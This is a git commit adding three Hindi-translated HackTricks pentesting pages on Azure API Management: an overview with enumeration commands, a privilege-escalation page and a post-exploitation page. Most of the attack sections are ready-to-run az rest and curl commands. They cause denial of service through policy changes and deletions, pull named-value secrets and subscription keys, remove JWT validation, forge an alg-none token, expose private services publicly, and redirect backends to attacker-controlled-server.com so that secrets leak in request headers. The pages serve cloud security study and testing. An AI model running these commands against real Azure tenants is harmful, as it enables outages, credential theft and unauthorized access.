Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation

This commit is contained in:
Translator
2025-12-23 16:38:27 +00:00
parent a7a0322c94
commit 3906ed6f89
3 changed files with 321 additions and 0 deletions

View File

@@ -0,0 +1,75 @@
# Azure - API Management Post-Exploitation
{{#include ../../../banners/hacktricks-training.md}}
## `Microsoft.ApiManagement/service/apis/policies/write` or `Microsoft.ApiManagement/service/policies/write`
हमलावर denial of service पैदा करने के लिए कई वेक्टर का उपयोग कर सकता है। वैध ट्रैफ़िक को ब्लॉक करने के लिए, हमलावर rate-limiting और quota policies को अत्यंत कम मूल्यों पर सेट कर देता है, जिससे सामान्य पहुँच प्रभावी रूप से रोक दी जाती है:
```bash
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>/policies/policy?api-version=2024-05-01" \
--headers "Content-Type=application/json" \
--body '{
"properties": {
"format": "rawxml",
"value": "<policies><inbound><rate-limit calls=\"1\" renewal-period=\"3600\" /><quota calls=\"10\" renewal-period=\"86400\" /><base /></inbound><backend><forward-request /></backend><outbound><base /></outbound></policies>"
}
}'
```
विशिष्ट वैध client IPs को ब्लॉक करने के लिए, हमलावर चुने हुए addresses से आने वाले requests को reject करने वाली IP filtering policies जोड़ सकता है:
```bash
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>/policies/policy?api-version=2024-05-01" \
--headers "Content-Type=application/json" \
--body '{
"properties": {
"format": "rawxml",
"value": "<policies><inbound><ip-filter action=\"forbid\"><address>1.2.3.4</address><address>1.2.3.5</address></ip-filter><base /></inbound><backend><forward-request /></backend><outbound><base /></outbound></policies>"
}
}'
```
## `Microsoft.ApiManagement/service/backends/write` or `Microsoft.ApiManagement/service/backends/delete`
अनुरोधों को विफल करने के लिए, attacker backend configuration को संशोधित कर सकता है और इसका URL किसी अमान्य या अप्राप्य पते में बदल सकता है:
```bash
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01" \
--headers "Content-Type=application/json" "If-Match=*" \
--body '{
"properties": {
"url": "https://invalid-backend-that-does-not-exist.com",
"protocol": "http"
}
}'
```
या बैकएंड हटाएँ:
```bash
az rest --method DELETE \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01" \
--headers "If-Match=*"
```
## `Microsoft.ApiManagement/service/apis/delete`
महत्वपूर्ण APIs को अनुपलब्ध बनाने के लिए, attacker सीधे API Management service से उन्हें delete कर सकता है:
```bash
az rest --method DELETE \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>?api-version=2024-05-01" \
--headers "If-Match=*"
```
## `Microsoft.ApiManagement/service/write` or `Microsoft.ApiManagement/service/applynetworkconfigurationupdates/action`
इंटरनेट से पहुँच को ब्लॉक करने के लिए, attacker API Management service पर public network access को disable कर सकता है:
```bash
az rest --method PATCH \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>?api-version=2024-05-01" \
--headers "Content-Type=application/json" \
--body '{
"properties": {
"publicNetworkAccess": "Disabled"
}
}'
```
## `Microsoft.ApiManagement/service/subscriptions/delete`
वैध उपयोगकर्ताओं के लिए पहुँच को ब्लॉक करने के लिए, हमलावर API Management subscriptions को हटा सकता है:
```bash
az rest --method DELETE \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/subscriptions/<apim-subscription-id>?api-version=2024-05-01" \
--headers "If-Match=*"
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,172 @@
# Az - API Management Privesc
{{#include ../../../banners/hacktricks-training.md}}
## `Microsoft.ApiManagement/service/namedValues/read` & `Microsoft.ApiManagement/service/namedValues/listValue/action`
यह हमला Azure API Management Named Values में संग्रहीत संवेदनशील secrets को एक्सेस करने से संबंधित है — या तो secret values को सीधे प्राप्त करके, या managed identities के माध्यम से permissions का दुरुपयोग करके Key Vaultbacked secrets प्राप्त करके।
```bash
az apim nv show-secret --resource-group <resource-group> --service-name <service-name> --named-value-id <named-value-id>
```
## `Microsoft.ApiManagement/service/subscriptions/read` & `Microsoft.ApiManagement/service/subscriptions/listSecrets/action`
प्रत्येक subscription के लिए, attacker listSecrets endpoint को POST method का उपयोग करके subscription keys प्राप्त कर सकता है:
```bash
az rest --method POST \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/subscriptions/<subscription-sid>/listSecrets?api-version=2024-05-01"
```
प्रतिक्रिया में subscription का primary key (primaryKey) और secondary key (secondaryKey) शामिल होता है। इन कीज़ के साथ, हमलावर API Management Gateway के माध्यम से प्रकाशित किए गए APIs को प्रमाणीकृत कर और उन तक पहुँच प्राप्त कर सकता है:
```bash
curl -H "Ocp-Apim-Subscription-Key: <primary-key-or-secondary-key>" \
https://<service-name>.azure-api.net/<api-path>
```
एक हमलावर सब्सक्रिप्शन से जुड़े सभी APIs और products तक पहुंच प्राप्त कर सकता है। यदि सब्सक्रिप्शन को संवेदनशील products या APIs तक पहुंच है, तो हमलावर गोपनीय जानकारी प्राप्त कर सकता है या अनधिकृत संचालन कर सकता है।
## `Microsoft.ApiManagement/service/policies/write` or `Microsoft.ApiManagement/service/apis/policies/write`
हमलावर पहले वर्तमान API नीति प्राप्त करता है:
```bash
az rest --method GET \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>/policies/?api-version=2024-05-01&format=rawxml"
```
आक्रमणकारी अपने उद्देश्यों के अनुसार नीति को कई तरीकों से संशोधित कर सकता है। उदाहरण के लिए, to disable authentication, अगर नीति में JWT token validation शामिल है, तो आक्रमणकारी उस सेक्शन को remove या comment out कर सकता है:
```xml
<policies>
<inbound>
<base />
<!-- JWT validation removed by the attacker -->
<!-- <validate-jwt header-name="Authorization" failed-validation-httpcode="401" >
...
</validate-jwt> -->
</inbound>
<backend>
<base />
</backend>
<outbound>
<base />
</outbound>
<on-error>
<base />
</on-error>
</policies>
```
rate limiting नियंत्रण हटाकर और denial-of-service attacks की अनुमति देकर, हमलावर quota और rate-limit policies को हटा सकता है या comment out कर सकता है:
```xml
<policies>
<inbound>
<base />
<!-- Rate limiting removed by the attacker -->
<!-- <rate-limit calls="100" renewal-period="60" />
<quota-by-key calls="1000" renewal-period="3600" counter-key="@(context.Subscription.Id)" /> -->
</inbound>
...
</policies>
```
बैकएंड रूट को संशोधित करने और ट्रैफ़िक को attacker-controlled सर्वर पर पुनर्निर्देशित करने के लिए:
```xml
<policies>
...
<inbound>
<base />
<set-backend-service base-url="https://attacker-controlled-server.com" />
</inbound>
...
</policies>
```
फिर attacker संशोधित नीति लागू करता है। अनुरोध बॉडी एक JSON ऑब्जेक्ट होना चाहिए जिसमें नीति XML फ़ॉर्मेट में शामिल हो:
```bash
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>/policies/policy?api-version=2024-05-01" \
--headers "Content-Type=application/json" \
--body '{
"properties": {
"format": "rawxml",
"value": "<policies><inbound><base /></inbound><backend><base /></backend><outbound><base /></outbound><on-error><base /></on-error></policies>"
}
}'
```
## JWT Validation Misconfiguration
attacker को पता होना चाहिए कि एक API JWT token validation का उपयोग करती है और policy misconfigured है।
गलत तरीके से कॉन्फ़िगर की गई JWT validation policies में `require-signed-tokens="false"` या `require-expiration-time="false"` हो सकते हैं, जो सेवा को unsigned tokens या ऐसे tokens स्वीकार करने की अनुमति देता है जो कभी expire नहीं होते।
attacker none algorithm (unsigned) का उपयोग करके एक malicious JWT token बनाता है:
```
# Header: {"alg":"none"}
# Payload: {"sub":"user"}
eyJhbGciOiJub25lIn0.eyJzdWIiOiJ1c2VyIn0.
```
हमलावर दुर्भावनापूर्ण token का उपयोग कर API को एक अनुरोध भेजता है:
```bash
curl -X GET \
-H "Authorization: Bearer eyJhbGciOiJub25lIn0.eyJzdWIiOiJ1c2VyIn0." \
https://<apim>.azure-api.net/path
```
यदि नीति `require-signed-tokens="false"` के साथ गलत कॉन्फ़िगर की गई है, तो सेवा unsigned token को स्वीकार कर लेगी। attacker `require-expiration-time="false"` होने पर expiration claim के बिना एक token भी बना सकता है।
## `Microsoft.ApiManagement/service/applynetworkconfigurationupdates/action`
attacker सबसे पहले सेवा की वर्तमान network configuration की जाँच करता है:
```bash
az rest --method GET \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<apim>?api-version=2024-05-01"
```
हमलावर JSON प्रतिक्रिया की समीक्षा करता है ताकि `publicNetworkAccess` और `virtualNetworkType` के मान सत्यापित कर सके। यदि `publicNetworkAccess` false पर सेट है या `virtualNetworkType` Internal पर सेट है, तो सेवा निजी एक्सेस के लिए कॉन्फ़िगर की गई है।
सेवा को इंटरनेट पर एक्सपोज़ करने के लिए, हमलावर को दोनों सेटिंग्स बदलनी होंगी। यदि सेवा internal मोड में चल रही है (`virtualNetworkType: "Internal"`), तो हमलावर इसे None या External में बदल देता है और `publicNetworkAccess` सक्षम कर देता है। यह Azure Management API का उपयोग करके किया जा सकता है:
```bash
az rest --method PATCH \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<apim>?api-version=2024-05-01" \
--headers "Content-Type=application/json" \
--body '{
"properties": {
"publicNetworkAccess": "Enabled",
"virtualNetworkType": "None"
}
}'
```
एक बार `virtualNetworkType` को `None` या `External` पर सेट कर दिया जाए और `publicNetworkAccess` सक्षम हो, तो सेवा और उसकी सभी APIs इंटरनेट से पहुँच योग्य हो जाती हैं, भले ही वे पहले private network या private endpoints के पीछे सुरक्षित थीं।
## `Microsoft.ApiManagement/service/backends/write`
हमलावर पहले मौजूदा backends को सूचीबद्ध करके यह पहचानता है कि किसे संशोधित करना है:
```bash
az rest --method GET \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends?api-version=2024-05-01"
```
The attacker उस backend की वर्तमान configuration प्राप्त करता है जिसे वे संशोधित करना चाहते हैं:
```bash
az rest --method GET \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01"
```
आक्रमणकर्ता backend URL को अपने नियंत्रण वाले सर्वर की ओर इंगित करने के लिए संशोधित करता है। पहले, वे पिछली प्रतिक्रिया से ETag प्राप्त करते हैं और फिर backend को अपडेट करते हैं:
```bash
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01" \
--headers "Content-Type=application/json" "If-Match=*" \
--body '{
"properties": {
"url": "https://attacker-controlled-server.com",
"protocol": "http",
"description": "Backend modified by attacker"
}
}'
```
वैकल्पिक रूप से, attacker backend headers को configure करके Named Values जिनमें secrets हैं, exfiltrate कर सकता है। यह backend credentials configuration के माध्यम से किया जाता है:
```bash
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01" \
--headers "Content-Type=application/json" "If-Match=*" \
--body '{
"properties": {
"url": "https://attacker-controlled-server.com",
"protocol": "http",
"credentials": {
"header": {
"X-Secret-Value": ["{{named-value-secret}}"]
}
}
}
}'
```
इस कॉन्फ़िगरेशन के साथ, Named Values सभी अनुरोधों में headers के रूप में attacker-controlled backend को भेजे जाते हैं, जिससे संवेदनशील secrets का exfiltration संभव हो जाता है।
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,74 @@
# Az - API Management
{{#include ../../../banners/hacktricks-training.md}}
## बुनियादी जानकारी
Azure API Management (APIM) एक पूर्ण रूप से प्रबंधित सेवा है जो API प्रकाशित करने, सुरक्षित करने, रूपांतरित करने, प्रबंधित करने और मॉनिटर करने के लिए एक **एकीकृत प्लेटफ़ॉर्म** प्रदान करती है। यह संगठनों को उनकी API रणनीति को केंद्रीकृत करने और सभी सेवाओं में संगत गवर्नेंस, प्रदर्शन और सुरक्षा सुनिश्चित करने में सक्षम बनाती है। बैकएंड सेवाओं और API उपभोक्ताओं के बीच एक अभिसरण परत के रूप में कार्य करके, APIM एकीकरण को सरल बनाता है और रखरखाव में सुधार करता है जबकि आवश्यक संचालन और सुरक्षा क्षमताएँ प्रदान करता है।
## मुख्य अवधारणाएँ
**The API Gateway** सभी API ट्रैफिक के लिए एकल प्रवेश बिंदु के रूप में कार्य करती है, जो बैकएंड सेवाओं को अनुरोध रूट करने, दर सीमाओं को लागू करने, प्रतिक्रियाओं को कैश करने, और प्रमाणीकरण और अधिकरण का प्रबंधन करने जैसे कार्यों को संभालती है। यह gateway Azure द्वारा पूरी तरह होस्ट और प्रबंधित की जाती है, जिससे उच्च उपलब्धता और स्केलेबिलिटी सुनिश्चित होती है।
**The Developer Portal** एक self-service वातावरण प्रदान करता है जहाँ API उपभोक्ता उपलब्ध APIs खोज सकते हैं, दस्तावेज़ पढ़ सकते हैं, और endpoints का परीक्षण कर सकते हैं। यह इंटरएक्टिव टूल और सब्सक्रिप्शन जानकारी के एक्सेस के माध्यम से ऑनबोर्डिंग को सरल करता है।
**The Management Portal (Management Plane)** प्रशासकों द्वारा APIM सेवा को कॉन्फ़िगर और बनाए रखने के लिए उपयोग किया जाता है। यहाँ से उपयोगकर्ता APIs और operations परिभाषित कर सकते हैं, access control कॉन्फ़िगर कर सकते हैं, policies लागू कर सकते हैं, users का प्रबंधन कर सकते हैं, और APIs को products में व्यवस्थित कर सकते हैं। यह पोर्टल प्रशासन को केंद्रीकृत करता है और API गवर्नेंस में निरंतरता सुनिश्चित करता है।
## Authentication and Authorization
Azure API Management कई **authentication mechanisms** को समर्थन देता है ताकि API एक्सेस सुरक्षित रहे। इनमें **subscription keys**, **OAuth 2.0 tokens**, और **client certificates** शामिल हैं। APIM मूल रूप से **Microsoft Entra ID** के साथ एकीकृत होता है, जिससे enterprise-level identity management और APIs तथा backend सेवाओं के लिए सुरक्षित पहुंच सक्षम होती है।
## Policies
APIM में policies प्रशासकों को विभिन्न granularities पर **request और response processing** को अनुकूलित करने की अनुमति देती हैं, जिनमें **service**, **API**, **operation**, या **product** स्तर शामिल हैं। Policies के माध्यम से, JWT token validation लागू करना, XML या JSON payloads को transform करना, rate limiting लागू करना, IP address द्वारा कॉल्स को प्रतिबंधित करना, या managed identities का उपयोग करके backend सेवाओं के खिलाफ authenticate करना संभव है। Policies अत्यधिक लचीली होती हैं और API Management प्लेटफ़ॉर्म की मुख्य ताकतों में से एक हैं, जो backend कोड में बदलाव किए बिना runtime व्यवहार पर सूक्ष्म नियंत्रण सक्षम करती हैं।
## Named Values
यह सेवा **Named Values** नामक एक तंत्र प्रदान करती है, जो policies द्वारा आवश्यक configuration जानकारी जैसे secrets, API keys, या अन्य मानों को स्टोर करने की अनुमति देता है।
ये मान सीधे APIM में संग्रहीत किए जा सकते हैं या सुरक्षित रूप से **Azure Key Vault** से संदर्भित किए जा सकते हैं। Named Values सुरक्षित और केंद्रीकृत प्रबंधन को बढ़ावा देते हैं और हार्डकोडेड मानों के बजाय पुन: उपयोग योग्य संदर्भों की अनुमति देकर policy लेखन को सरल बनाते हैं।
## Networking and Security Integration
Azure API Management सहजता से **virtual network environments** के साथ एकीकृत होता है, जिससे backend सिस्टम्स के लिए निजी और सुरक्षित कनेक्टिविटी संभव होती है।
जब इसे एक **Virtual Network (VNet)** के अंदर तैनात किया जाता है, तो APIM आंतरिक सेवाओं तक सार्वजनिक रूप से उजागर किए बिना पहुंच सकता है। यह सेवा backend सेवाओं के साथ mutual TLS authentication का समर्थन करने के लिए custom certificates को कॉन्फ़िगर करने की अनुमति भी देती है, जो ऐसे परिदृश्यों में सुरक्षा को बढ़ाती है जहाँ मजबूत identity validation की आवश्यकता होती है।
ये नेटवर्किंग सुविधाएँ APIM को cloud-native और hybrid architectures दोनों के लिए उपयुक्त बनाती हैं।
### सूचीबद्ध करना
API management सेवा को सूचीबद्ध करने के लिए:
```bash
# Lists all Named Values configured in the Azure API Management instance
az apim nv list --resource-group <resource-group> --service-name <service-name>
# Retrieves all policies applied at the API level in raw XML format
az rest --method GET \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>/policies/?api-version=2024-05-01&format=rawxml"
# Retrieves the effective policy for a specific API in raw XML format
az rest --method GET \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>/policies/policy?api-version=2024-05-01&format=rawxml"
# Gets the configuration details of the APIM service instance
az rest --method GET \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<apim>?api-version=2024-05-01"
# Lists all backend services registered in the APIM instance
az rest --method GET \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends?api-version=2024-05-01"
# Retrieves details of a specific backend service
az rest --method GET \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01"
# Gets general information about the APIM service
az rest --method GET \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>?api-version=2024-05-01"
# Calls an exposed API endpoint through the APIM gateway
curl https://<apim>.azure-api.net/<api-path>
```
{{#include ../../../banners/hacktricks-training.md}}